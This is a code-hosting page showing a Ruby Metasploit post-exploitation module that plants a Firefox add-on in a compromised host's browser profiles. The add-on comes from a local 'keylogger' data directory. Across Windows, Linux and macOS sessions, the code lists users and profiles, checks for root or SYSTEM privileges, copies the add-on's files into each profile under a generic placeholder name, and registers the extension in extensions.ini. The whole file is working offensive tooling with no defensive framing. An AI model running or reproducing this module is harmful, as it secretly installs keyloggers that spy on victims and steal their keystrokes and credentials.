PageRenderTime 42ms CodeModel.GetById 17ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/post/multi/manage/firefox_install_addon.rb

https://bitbucket.org/opexxx/msf-addons
Ruby | 322 lines | 277 code | 41 blank | 4 comment | 48 complexity | 21217322a5634e53345f376064a06626 MD5 | raw file
  1. require 'msf/core'
  2. require 'rex'
  3. require 'msf/core/post/file'
  4. class Metasploit3 < Msf::Post
  5. include Msf::Post::File
  6. def initialize(info={})
  7. super( update_info(info,
  8. 'Name' => 'Multi Manage Install Firefox Addon',
  9. 'Description' => %q{
  10. },
  11. 'License' => MSF_LICENSE,
  12. 'Author' => ['vpb'],
  13. 'Version' => '$Revision: 666 $',
  14. 'Platform' => ['windows', 'linux', 'bsd', 'unix', 'osx'],
  15. 'SessionTypes' => ['meterpreter', 'shell' ]
  16. ))
  17. end
  18. def run
  19. print_status("Determining session platform and type...")
  20. case session.platform
  21. when /unix|linux|bsd/
  22. @platform = :unix
  23. paths = enum_users_unix
  24. when /osx/
  25. @platform = :osx
  26. paths = enum_users_unix
  27. when /win/
  28. @platform = :windows
  29. if session.type == "shell"
  30. print_error "Only meterpreter sessions are supported on Windows hosts"
  31. print_error "Try upgrading the session to a Meterpreter session via \"sessions -u <opt>\""
  32. return
  33. else
  34. drive = session.fs.file.expand_path("%SystemDrive%")
  35. os = session.sys.config.sysinfo['OS']
  36. end
  37. if os =~ /Windows 7|Vista|2008/
  38. @appdata = '\\AppData\\Roaming'
  39. @users = drive + '\\Users'
  40. else
  41. @appdata = '\\Application Data'
  42. @users = drive + '\\Documents and Settings'
  43. end
  44. print_status("Enumerating users checking for Firefox installs...")
  45. paths = enum_users_windows
  46. else
  47. print_error("Unsupported platform #{session.platform}")
  48. return
  49. end
  50. if paths.nil?
  51. print_error("No users found with a Firefox directory")
  52. return
  53. end
  54. upload_addon(paths)
  55. end
  56. def enum_users_unix
  57. id = whoami
  58. if id.empty? or id.nil?
  59. print_error("This session is not responding, perhaps the session is dead")
  60. end
  61. if @platform == :osx
  62. home = "/Users/"
  63. else
  64. home = "/home/"
  65. end
  66. if got_root?
  67. userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
  68. userdirs << "/root\n"
  69. else
  70. print_status("We do not have root privileges")
  71. print_status("Checking #{id} account for Firefox")
  72. firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
  73. firefox.each_line do |profile|
  74. profile.chomp!
  75. next if profile =~ /No such file/i
  76. if profile =~ /\.default/
  77. print_status("Found Firefox Profile for: #{id}")
  78. return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
  79. end
  80. end
  81. return
  82. end
  83. # we got root check all user dirs
  84. paths = []
  85. userdirs.each_line do |dir|
  86. dir.chomp!
  87. next if dir == "." || dir == ".."
  88. dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
  89. if dir =~ /root/
  90. dir += "/.mozilla/firefox/"
  91. end
  92. print_status("Checking for Firefox Profile in: #{dir}")
  93. stat = session.shell_command("ls #{dir}")
  94. if stat =~ /No such file/i
  95. print_error("Mozilla not found in #{dir}")
  96. next
  97. end
  98. stat.gsub!(/\s/, "\n")
  99. stat.each_line do |profile|
  100. profile.chomp!
  101. if profile =~ /\.default/
  102. print_status("Found Firefox Profile in: #{dir+profile}")
  103. paths << "#{dir+profile}"
  104. end
  105. end
  106. end
  107. return paths
  108. end
  109. def enum_users_windows
  110. paths = []
  111. if got_root?
  112. session.fs.dir.foreach(@users) do |path|
  113. next if path =~ /^\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService$/
  114. firefox = @users + "\\" + path + @appdata
  115. dir = check_firefox(firefox)
  116. if dir
  117. dir.each do |p|
  118. paths << p
  119. end
  120. else
  121. next
  122. end
  123. end
  124. else # not root
  125. print_status("We do not have SYSTEM checking #{whoami} account for Firefox")
  126. path = @users + "\\" + whoami + @appdata
  127. paths = check_firefox(path)
  128. end
  129. return paths
  130. end
  131. def check_firefox(path)
  132. paths = []
  133. path = path + "\\Mozilla\\"
  134. print_status("Checking for Firefox directory in: #{path}")
  135. stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
  136. if !stat
  137. print_error("Firefox not found")
  138. return
  139. end
  140. ff_found=false
  141. session.fs.dir.foreach(path) do |fdir|
  142. if fdir =~ /Firefox/i and @platform == :windows
  143. #paths << path + fdir + "Profiles\\"
  144. ff_found=true
  145. print_good("Found Firefox installed")
  146. break
  147. else
  148. #paths << path + fdir
  149. ff_found=true
  150. print_status("Found Firefox installed")
  151. break
  152. end
  153. end
  154. if not ff_found
  155. print_error("Firefox not found")
  156. return
  157. end
  158. print_status("Locating Firefox Profiles...")
  159. print_line("")
  160. path += "Firefox\\Profiles\\"
  161. # we should only have profiles in the Profiles directory store them all
  162. begin
  163. session.fs.dir.foreach(path) do |pdirs|
  164. next if pdirs == "." or pdirs == ".."
  165. print_good("Found Profile #{pdirs}")
  166. paths << path + pdirs
  167. end
  168. rescue
  169. print_error("Profiles directory missing")
  170. return
  171. end
  172. if paths.empty?
  173. return nil
  174. else
  175. return paths
  176. end
  177. end
  178. def get_file_as_string(filename)
  179. data = ''
  180. f = ::File.open(filename, "r")
  181. f.each_line do |line|
  182. data += line
  183. end
  184. return data
  185. end
  186. def upload_addon(paths)
  187. lpath = ::File.join(Msf::Config.install_root, "data", "post","keylogger")
  188. paths.each do |path|
  189. print_status("Planting to #{path}")
  190. if session.type=="meterpreter"
  191. extpath=path+ "\\extensions"
  192. begin
  193. session.fs.dir.mkdir(extpath)
  194. rescue
  195. print_status("Extensions directory already exists")
  196. end
  197. extpath=extpath+'\\asdf@asdf' #TODO randomize
  198. begin
  199. session.fs.dir.mkdir(extpath)
  200. rescue
  201. end
  202. for direntry in Dir[lpath+'/**/'].sort{|a,b| a.split(/\//).size <=> b.split(/\//).size}
  203. begin
  204. direntry=direntry[lpath.size..direntry.size].gsub("/","\\")
  205. print_status("Creating #{extpath+direntry}")
  206. session.fs.dir.mkdir(extpath+direntry)
  207. rescue
  208. print_error("Could not create #{direntry}")
  209. end
  210. end
  211. end
  212. if session.type != "meterpreter"
  213. extpath=path+"/extensions"
  214. begin
  215. session.shell_command("mkdir #{extpath}")
  216. rescue
  217. print_status("Extensions directory already exists")
  218. end
  219. extpath=extpath+"/asdf@asdf" # TODO randomize
  220. begin
  221. session.shell_command("mkdir #{extpath}")
  222. rescue
  223. end
  224. for direntry in Dir[lpath+'/**/'].sort{|a,b| a.split(/\//).size <=> b.split(/\//).size}
  225. begin
  226. direntry=direntry[lpath.size..direntry.size]
  227. print_status("Creating #{extpath+direntry}")
  228. session.shell_command("mkdir #{extpath+direntry}")
  229. rescue
  230. print_error("Could not create #{direntry}")
  231. end
  232. end
  233. end
  234. for entry in Dir[lpath+'/**/*']
  235. begin
  236. entry=entry[lpath.size..entry.size]
  237. if @platform == :windows
  238. remote_entry=entry.gsub("/","\\")
  239. else
  240. remote_entry=entry
  241. end
  242. print_status("Uploading #{::File.join(lpath,entry)} to #{extpath+remote_entry}");
  243. write_file(extpath+remote_entry,get_file_as_string(::File.join(lpath,entry)))
  244. rescue
  245. print_error("Could not upload #{entry}")
  246. end
  247. end
  248. if @platform == :windows
  249. slash="\\"
  250. else
  251. slash="/"
  252. end
  253. print_status("Registering extension in #{path+slash}extensions.ini")
  254. append_file(path+slash+"extensions.ini","\nExtensionASDF="+extpath+"\n") # TODO randomize
  255. end
  256. end
  257. def got_root?
  258. case @platform
  259. when :windows
  260. if session.sys.config.getuid =~ /SYSTEM/
  261. return true
  262. else
  263. return false
  264. end
  265. else # unix, bsd, linux, osx
  266. ret = whoami
  267. if ret =~ /root/
  268. return true
  269. else
  270. return false
  271. end
  272. end
  273. end
  274. def whoami
  275. if @platform == :windows
  276. return session.fs.file.expand_path("%USERNAME%")
  277. else
  278. return session.shell_command("whoami").chomp
  279. end
  280. end
  281. end